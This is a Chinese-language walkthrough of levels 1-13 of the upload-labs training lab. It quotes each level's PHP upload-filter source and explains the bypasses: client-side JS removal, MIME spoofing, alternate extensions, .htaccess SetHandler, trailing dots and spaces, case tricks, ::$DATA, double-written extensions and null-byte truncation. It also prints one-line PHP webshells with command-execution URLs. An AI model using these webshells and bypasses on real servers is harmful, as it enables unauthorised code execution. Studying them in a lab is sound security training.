upload-labs(1-13)(配合源码分析)
upload-labs均要涉及到bp抓包工具来实现文件的上传
1.upload-labs1(JS前端验证)
第一个关:
//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));
这里已经确定了可以上传的文件类型但是我想要实现用php语言然后得到相关的数据:尝试抓包然后修改后缀名,再看结果:



或者是在第一关发现:

此时启动js禁用然后再去上传也能实现:
document.querySelector('form').onsubmit = null;
2.upload-labs2(MIME验证):
显示源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
if (isset($_POST['submit'])) :意思是是否有按提交文件的按钮(即判断表单是否被提交),然后如果没有就提示:
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
if (file_exists(UPLOAD_PATH)) :这个路径如果存在再来判断 (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')):这个mime类型是否正确
这里的$_FILES系统函数(myFile必须要和upload_file是一样的):
$_FILES[myFile][name] 显示客户端文件的原名称。
$_FILES[myFile][type] 文件的 MIME 类型,例如image/gif。
$_FILES[myFile][size] 已上传文件的大小,单位为字节。
$_FILES[myFile][tmp_name] 储存的临时文件名,一般是系统默认。
$_FILES[myFile][error] 该文件上传的代码,PHP4.2版本后增加的
如果不正确那么:
$msg = '文件类型不正确,请重新上传!';
if (move_uploaded_file($temp_file, $img_path)) 移动到了正确的路径就是true
if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';
所以这个题目就是考察mine值是否对应然后上传修改mime值看是否能够成功上传:
MIME值是指由类型(type)和子类型(subtype)组成的媒体类型标识符,用于定义互联网传输内容的格式。其标准格式为type/subtype,例如text/html表示HTML格式的文本文件1。根据IANA注册规范,常见类型包括:
- application:二进制数据或需特定程序处理的文件,如
application/pdf(PDF文档)、application/zip(ZIP压缩文件)12。 - audio:音频数据,如
audio/mpeg(MP3音频)、audio/wav(WAV音频)。 - image:图像文件,如
image/jpeg(JPEG图片)、image/png(PNG图片)。 - text:纯文本,如
text/plain(普通文本)、text/html(HTML网页)。 - video:视频文件,如
video/mp4(MP4视频)、video/webm(WEBM视频)。

上传2.php内容是<?php phpinfo(); ?>然后访问:http://127.0.0.1:8082/upload/2.php

3.upload-labs3(php3、phtml绕过黑名单)
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
$deny_ext = array('.asp','.aspx','.php','.jsp'):定义禁止上传的文件扩展名数组(黑名单机制)
$file_name = trim($_FILES['upload_file']['name']):获取上传文件的原始文件名,并去除首尾空格
$file_name = deldot($file_name):删除文件名末尾的点
$file_ext = strrchr($file_name, '.'):使用 strrchr() 函数获取文件扩展名(从最后一个点开始到字符串结束)
$file_ext = strtolower($file_ext):转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext):去除字符串::$DATA
$file_ext = trim($file_ext):收尾去空
1.首先可以直接上传不是黑名单里面的文件
2.AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht
也可以上传 .php .php3 .phtml 这几个后缀当做php文件进行解析:

4.upload-labs4(.htaccess绕过黑名单)
查看源代码:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
发现他禁止了许多的一些后缀名,但是有个比较常见的.htaccess参数没有进入黑名单:
尝试创建这个文件内容是:Sethandler application/x-httpd-php(Sethandler 将该目录及子目录的所有文件均映射为php文件类型。)
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
先上传.htaccess文件 再上传一个1.jpg的文件
那么就将该目录及子目录的所有文件均映射为php文件类型。

很明显成功了,然后再去尝试一句话木马(<?php $_GET[0]($_GET[1]); ?>)(<?php @eval($_POST['pass']);?>)
函数调用木马
<?php $_GET[0]($_GET[1]); ?>
特点:
-
动态调用函数
-
更灵活,可以直接调用任何函数
-
不需要代码拼接
使用方式:
http://site.com/shell.php?0=assert&1=phpinfo() 或 http://site.com/shell.php?0=system&1=whoami
5.upload-labs5
源码所示:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空
这关的限制很多(过滤,转小写、空格、点、.htaccess):但是可以采取:1.php. .
尝试:


6.upload-labs6
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空
发现没有了大小写变化的函数了:尝试大小写.Php来尝试上传文件:


7.upload-labs7:
if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
这里可以发现:删除空格的函数不见了,尝试添加空格(给php文件后缀加一个空格
因为Windows有特性会自动把后缀后面的空格删除掉,我们抓包进行处理)
Apache的 AddHandler 指令会自动去除文件名末尾的空格尝试:
原始:1.php URL 编码:1.php+ 或 1.php%20


8.upload-labs8:
if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

访问这个2.php.文件:

9.upload-labs9
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

10.upload-labs10(就是第五关)
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

11.upload-labs11:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {


12.upload-labs12(特殊的00截断)%00截断问题(要求php版本<5.3.4.)
%00截断法只适用于php版本低于5.3的, 且需要在phpstudy把魔术引号函数magic_quotes_gpc关闭掉:
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
这个代码得意思就是我们为啥要用%00:因为
$_FILES['upload_file']['name'] = "2.php%00.jpg";
// strrpos("2.php%00.jpg", ".") 查找最后一个点号
// 点号位置在:2.php%00.jpg
// ^ 这个位置(索引8)
// 8 + 1 = 9
// substr("2.php%00.jpg", 9) 返回 "jpg"
$file_ext = "jpg"; // 最终结果还是jpg
先尝试:
这里出现问题是因为:
这里直接指定了完整的文件名 cimer.php,但代码逻辑是:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
尝试直接在文件名上修改:
Content-Disposition: form-data; name="upload_file"; filename="shell.php%00.jpg"

在文件名中使用 %00:
filename="shell.php%00.jpg"
-
扩展名检查阶段:PHP字符串函数看到
shell.php%00.jpg→ 提取扩展名jpg✅ 通过 -
文件保存阶段:系统函数遇到
%00截断 → 保存为shell.php✅ 绕过成功
在 save_path 中使用 %00:
save_path=../upload/shell.php%00
-
路径会变成:
../upload/shell.php%00/随机文件名.jpg -
可能因为路径结构问题导致失败
13.原本的题目upload-labs13(0x00截断白名单)
%00截断失效,因为是post传参,不是url地址传参,因此我们需要16进制截断
那我们就url编码好再进行传参
或者是:
在 Burp Suite 中使用 Hex 编辑
-
拦截请求
-
切换到 Hex 标签
-
在 save_path 值的位置找到对应字节
-
将需要截断的位置修改为
00
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

总结:
对于这前十三道题目都是对于函数得分析:
$deny_ext = array('.asp','.aspx','.php','.jsp'):定义禁止上传的文件扩展名数组(黑名单机制)
比如这个黑名单函数:就是可以提醒我们对于哪些后缀名得文件是可以上传得,对于apache版本哪些又是可以上传的
$file_name = trim($_FILES['upload_file']['name']):获取上传文件的原始文件名,并去除首尾空格
少了trim()函数就可以尝试着去bp添加空格,因为在这些前面的函数的判断最后就会可能因为这里多了个空格,然后发现不在黑名单,从而上传成功
$file_name = deldot($file_name):删除文件名末尾的点
同理trim函数因为在这些前面的函数的判断最后就会可能因为这里末尾多了个点,然后发现不在黑名单,从而上传成功:
$file_name = "shell.php.."; deldot($file_name); // 结果: "shell.php." (只删除最后一个点)
$file_ext = strrchr($file_name, '.'):使用 strrchr() 函数获取文件扩展名(从最后一个点开始到字符串结束)
截取:$file_name = "shell.php"; strrchr($file_name, '.'); // 结果: ".php"
$file_ext = strtolower($file_ext):转换为小写
同理trim函数,只不过大小写的时候看看是不是在黑名单里面存在罢了
$file_ext = str_ireplace('::$DATA', '', $file_ext):去除字符串::$DATA
同理trim函数,在Windows系统中,shell.php::$data 和 shell.php 指向同一个文件
$file_ext = trim($file_ext):收尾去空
$file_name = str_ireplace($deny_ext,"", $file_name);
对于这个双写:
// 上传文件名: shell.pphphp
$file_name = "shell.pphphp";
$file_name = str_ireplace('.php', "", $file_name);
// 处理过程:
// 查找 ".php" → 找到 "pphp" 中的 "php"
// 移除 "php" → 变成 "shell.p" + "hp"
// 结果: "shell.php" (成功还原)
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
对于这个post和get方法加上%00(考虑版本)
-
PHP < 5.3.4:存在 %00 截断漏洞
-
PHP >= 5.3.4:官方修复了此漏洞
-
如果能控制路径部分,让系统在 ".jpg" 之前截断...
-
最终保存为:
[用户控制]/随机文件名.php
